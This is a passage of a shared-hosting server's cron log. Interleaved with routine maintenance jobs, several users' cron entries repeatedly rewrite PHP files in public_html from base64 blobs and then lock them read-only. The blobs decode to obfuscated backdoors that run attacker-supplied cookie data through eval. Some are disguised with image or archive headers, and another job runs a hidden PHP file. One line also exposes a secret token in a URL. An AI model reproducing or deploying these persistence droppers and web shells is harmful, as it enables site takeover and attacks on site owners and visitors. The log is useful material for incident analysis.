AgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:41:01 medusa CROND[8297]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:41:01 medusa CROND[8299]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:42:01 medusa CROND[30005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:42:01 medusa CROND[30028]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:42:01 medusa CROND[30027]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:42:01 medusa CROND[30030]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:42:01 medusa CROND[30031]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:42:01 medusa CROND[30032]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:42:01 medusa CROND[30033]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:42:01 medusa CROND[30036]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:42:01 medusa CROND[30034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:42:01 medusa CROND[30046]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:42:01 medusa CROND[30047]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:42:01 medusa CROND[30058]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:42:01 medusa CROND[30059]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:43:01 medusa CROND[17405]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:43:01 medusa CROND[17421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:43:01 medusa CROND[17422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:43:01 medusa CROND[17423]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 09:43:01 medusa CROND[17424]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:43:01 medusa CROND[17426]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 09:43:01 medusa CROND[17427]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:43:01 medusa CROND[17428]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:43:01 medusa CROND[17429]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:43:01 medusa CROND[17433]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:43:01 medusa CROND[17435]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:43:01 medusa CROND[17436]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:43:01 medusa CROND[17438]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOw